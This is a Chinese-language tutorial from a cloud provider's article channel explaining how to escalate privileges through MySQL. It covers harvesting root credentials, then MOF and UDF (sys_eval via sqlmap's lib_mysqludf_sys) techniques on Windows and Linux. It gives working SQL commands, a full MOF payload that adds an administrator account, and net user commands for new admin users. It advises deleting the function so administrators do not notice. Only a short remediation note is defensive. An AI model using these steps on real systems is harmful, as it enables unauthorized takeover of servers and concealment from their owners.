您好,登錄后才能下訂單哦!
本篇文章為大家展示了MySQL中怎么實(shí)現(xiàn)提權(quán),內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。
具有MySQL的root權(quán)限,且MySQL以system權(quán)限運(yùn)行。
具有執(zhí)行SQL語(yǔ)句的權(quán)限。
獲取root密碼的方法:
查看數(shù)據(jù)庫(kù)配置文件
關(guān)鍵字:config
、conn
、sql
、data
、inc
、database
等
下載mysql安裝路徑下的數(shù)據(jù)文件
安裝路徑下的data目錄中存放的是數(shù)據(jù)庫(kù)的數(shù)據(jù)信息
root賬號(hào)密碼存儲(chǔ)在mysql數(shù)據(jù)庫(kù)下的user表中
完整路徑=安裝路徑+\data\mysql\user.MYD
暴力破解
udf提權(quán)
mof提權(quán)
開機(jī)啟動(dòng)腳本(啟動(dòng)項(xiàng)提權(quán))
原理
利用了C:\Windows\System32\wbem\MOF
目錄下的nullevt.mof
文件
利用該文件每分鐘會(huì)去執(zhí)行一次的特性,向該文件中寫入cmd命令,就會(huì)被執(zhí)行
利用條件
只使用于windows系統(tǒng),一般低版本系統(tǒng)才可以用,比如xp
、server2003
對(duì)C:\Windows\System32\wbem\MOF
目錄有讀寫權(quán)限
可以找到一個(gè)可寫目錄,寫入mof文件
提權(quán)方法
在可寫目錄中上傳mof文件。
把mof文件上傳到C:/wmpub/nullevt.mof
把這個(gè)文件復(fù)制到C:/Windows/System32/wbem/MOF/nullevt.mof
目錄下
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'
將下面這段代碼復(fù)制到mof后綴的文件中
# pragma namespace("\.\root\subscription") instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
把這個(gè)mof文件上傳到目標(biāo)機(jī)中,可以修改代碼,進(jìn)行命令執(zhí)行。
目前mof提權(quán)方法用的比較少,建議使用udf腳本進(jìn)行MySQL數(shù)據(jù)庫(kù)提權(quán)。
補(bǔ)救措施
當(dāng)發(fā)現(xiàn)服務(wù)器被使用mof提權(quán),解決繼續(xù)執(zhí)行系統(tǒng)命令的方法:
先停止winmgmt服務(wù):net stop winmgmt
刪除文件夾:C:\Windows\System32\wbem\Repository
再重新啟動(dòng)winmgmt服務(wù):net start winmgmt
原理
UDF(User Defined Funtion)用戶自定義函數(shù),通過添加新的函數(shù),對(duì)mysql服務(wù)器進(jìn)行功能擴(kuò)充。
信息收集
select version(); # 獲取數(shù)據(jù)庫(kù)版本 select user(); # 獲取數(shù)據(jù)庫(kù)用戶 select @@basedir; # 獲取數(shù)據(jù)庫(kù)安裝目錄 show variables like ‘%plugin%’; # 查看plugin路徑。
UDF可以理解為MySQL的函數(shù)庫(kù),可以利用udf定義的創(chuàng)建函數(shù)。想要利用udf,必須上傳udf.dll作為udf的執(zhí)行庫(kù)。MySQL中支持UDF擴(kuò)展,使得我們可以調(diào)用DLL里面的函數(shù)來實(shí)現(xiàn)一些特殊的功能。
利用條件
如果mysql版本大于5.1,udf.dll文件必須放置在mysql安裝目錄的MySQL\Lib\Plugin\
文件夾下,該目錄默認(rèn)是不存在的,需要使用webshell找到mysql的安裝目錄,并在安裝目錄下創(chuàng)建MySQL\Lib\Plugin\
文件夾,然后將udf.dll導(dǎo)入到該目錄。
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/
目錄,在windows server 2000下放置在c:/winnt/system32/
目錄。
掌握mysql數(shù)據(jù)庫(kù)的root賬戶,從而擁有對(duì)mysql的insert和delete權(quán)限,以創(chuàng)建和拋棄函數(shù)。
擁有可以將udf.dll寫入相應(yīng)目錄的權(quán)限。
基本步驟
DLL文件的獲取方法
在sqlmap/data/udf/mysql
目錄下,在Windows目錄中有32位和64位的dll文件(MySQL位數(shù))。
文件夾中的dll文件是通過異或編碼的,可以使用sqlmap/extract/cloak.py
進(jìn)行解碼
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
將解碼后的DLL文件(包含用戶自定義函數(shù)的DLL文件)上傳到可寫目錄,再導(dǎo)入到MySQL\lib\plugin\
中
select LOAD_FILE('C:/可寫目錄/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';
將DLL中的函數(shù)引入到MySQL數(shù)據(jù)庫(kù)中
創(chuàng)建自定義函數(shù)
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
創(chuàng)建名為sys_eval的函數(shù),返回值為string類型,調(diào)用的文件是lib_mysqludf_sys.dll
注意:需要?jiǎng)?chuàng)建.dll文件中存在的函數(shù),可以使用十六進(jìn)制編輯器打開.dll文件,查看可以被創(chuàng)建的函數(shù)。
使用該函數(shù)去執(zhí)行系統(tǒng)命令提權(quán)
查看當(dāng)前用戶權(quán)限
select sys_eval("whoami");
創(chuàng)建賬號(hào)并提升為管理員權(quán)限
select sys_eval("net user winhex passw@ord /add");
select sys_eval("net localgroup administrators winhex /add");
將之前引入的函數(shù)刪除掉
防止被管理員發(fā)現(xiàn),防止其他攻擊者使用
drop function sys_eval;
delete from mysql.func where name='sys_eval';
簡(jiǎn)述
通過自定義庫(kù)函數(shù)來實(shí)現(xiàn)執(zhí)行任意的命令
包含用戶自定義函數(shù)的文件為.so文件
要求
在my.ini的[mysqld]下,添加secure_file_priv="",不限制導(dǎo)入導(dǎo)出路徑
具有數(shù)據(jù)庫(kù)root賬戶的密碼,且mysql數(shù)據(jù)庫(kù)以root權(quán)限運(yùn)行
具有sql語(yǔ)句的執(zhí)行權(quán)限
導(dǎo)出目錄可寫
系統(tǒng)中的selinux處于關(guān)閉狀態(tài)
提權(quán)過程
查找插件庫(kù)的路徑
show variables like '%plugin%';
得到的結(jié)果為:
Variable_name | Value |
---|---|
plugin_dir | /usr/lib64/mysql/plugin |
找到對(duì)應(yīng)操作系統(tǒng)數(shù)據(jù)庫(kù)的UDF庫(kù)文件
sqlmap-master\data\udf\mysql\linux\64
下的lib_mysqludf_sys.so_
文件
將so文件(UDF庫(kù)文件)進(jìn)行16進(jìn)制編碼
將so文件的內(nèi)容解碼,寫入到mysql插件庫(kù)目錄中
select unhex('so文件的16進(jìn)制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
查看udf庫(kù)所支持的函數(shù)
注意:需要?jiǎng)?chuàng)建.so文件中存在的函數(shù),可以使用十六進(jìn)制編輯器打開.so文件,查看可以被創(chuàng)建的函數(shù)。
創(chuàng)建函數(shù)
寫入之后,執(zhí)行創(chuàng)建函數(shù)的命令,就會(huì)創(chuàng)建一個(gè)sys_eval的函數(shù),用來執(zhí)行系統(tǒng)命令,這個(gè)函數(shù)執(zhí)行的系統(tǒng)命令全部都是system權(quán)限。
create function sys_eval returns string soname 'xxx.so';
執(zhí)行系統(tǒng)命令,提權(quán)
sys_eval
這個(gè)函數(shù)就可以執(zhí)行系統(tǒng)命令,括號(hào)里輸入系統(tǒng)命令即可。
查看當(dāng)前用戶權(quán)限
select sys_eval("whoami");
創(chuàng)建賬號(hào)并提升為管理員權(quán)限
不需要判斷mysql的版本,直接查看路徑,直接寫so文件,Linux里面的文件是so文件。
getshell之后,在終端輸入whoami,發(fā)現(xiàn)只是apache用戶權(quán)限。
尋找網(wǎng)站的數(shù)據(jù)庫(kù)配置文件,查看數(shù)據(jù)庫(kù)的賬號(hào)密碼,可以看到賬號(hào)root密碼root。
登錄mysql數(shù)據(jù)庫(kù),輸入show variables like '%plugin%';
查看plugin路徑。
得到的結(jié)果為:
Variable_name | Value |
---|---|
plugin_dir | /usr/lib64/mysql/plugin |
我們把so文件進(jìn)行16進(jìn)制編碼,再解碼寫入目錄中,返回為true,寫入成功。
select unhex('so文件的16進(jìn)制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'
寫入之后,執(zhí)行創(chuàng)建函數(shù)的命令,就會(huì)創(chuàng)建一個(gè)sys_eval的函數(shù),用來執(zhí)行系統(tǒng)命令,這個(gè)函數(shù)執(zhí)行的系統(tǒng)命令全部都是system權(quán)限。
create function sys_eval returns string soname 'xxx.so';
sys_eval
這個(gè)函數(shù)就可以執(zhí)行系統(tǒng)命令,括號(hào)里輸入系統(tǒng)命令即可。
select sys_eval('whoami')
上述內(nèi)容就是MySQL中怎么實(shí)現(xiàn)提權(quán),你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。